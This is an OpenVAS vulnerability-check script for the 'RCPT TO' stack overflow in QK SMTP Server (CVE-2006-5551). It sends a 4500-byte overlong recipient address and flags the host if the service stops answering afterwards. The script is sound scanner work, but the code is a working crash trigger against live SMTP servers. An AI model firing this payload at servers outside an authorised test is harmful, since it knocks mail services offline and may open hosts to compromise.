QK SMTP Server

# OpenVAS Vulnerability Test
# $Id: qk_smtp_server_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: QK SMTP Server 'RCPT TO' buffer overflow vulnerability
#
# Authors:
# Ferdy Riphagen 
#
# Copyright:
# Copyright (C) 2006 Ferdy Riphagen
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote SMTP server is prone to a stack based overflow.

Description :

QK SMTP Server is installed on the remote host.
The application does not properly check it's boundaries for 
user supplied input in the 'RCPT TO' field.

This results in a stack based overflow, where it's possible to
crash the service or compromise the host.";

tag_solution = "Upgrade to QK SMTP Server 3.1 beta or a newer release.";

if (description) {
 script_id(2000201); 
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_cve_id("CVE-2006-5551");
 script_bugtraq_id(20681);

 name = "QK SMTP Server 'RCPT TO' buffer overflow vulnerability";
 script_name(name);

 script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_vul");
 script_family("Gain a shell remotely");
 script_copyright("This script is Copyright (C) 2006 Ferdy Riphagen");

 script_dependencies("smtpserver_detect.nasl", "smtp_settings.nasl");
 script_require_ports("Services/smtp", 25);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.securiteam.com/exploits/6P00O15H6U.html");
 exit(0);
}

include("smtp_func.inc");

port = get_kb_item("Services/smtp");
if (!port) port = 25;
if (!get_port_state(port)) exit(0);

soc = open_sock_tcp(port); 
if (!soc) exit(0);

banner = smtp_recv_banner(socket:soc);
if ("QK SMTP Server" >< banner) {

 # This works regardless of the results from smtp_settings.nasl.
 domain = get_kb_item("Settings/third_party_domain");
 sender = get_kb_item("SMTP/headers/From");
 helo = string("EHLO ", domain, "\r\n");
 from = string("MAIL FROM: ", sender, "\r\n"); 
 bof = string("RCPT TO: ", crap(data:raw_string(0x41), length:4500), "@", domain, "\r\n");

 # First send the HELO
 send(socket:soc, data:helo);
 recv = recv(socket:soc, length:1024);
 if ("250-Hello" >!< recv) exit(0);

 # From address
 send(socket:soc, data:from);
 recv = recv(socket:soc, length:1024);
 if ("Address Okay" >!< recv) exit(0);

 # The overflow 
 send(socket:soc, data:bof);
 recv = recv(socket:soc, length:1024);
 if (soc) {
  send(socket:soc, data:string("QUIT\r\n"));
  close(soc);
 }

 # try to re-open the connection and get some data from it.
 soc = open_sock_tcp(port);
 if (soc) {
  line = smtp_recv_line(socket:soc, code:"220");
 }
 if (!soc || (!strlen(line))) {
  security_message(port);
 }
 if (soc) {
  send(socket:soc, data:string("QUIT\r\n"));
  close(soc);
 }
}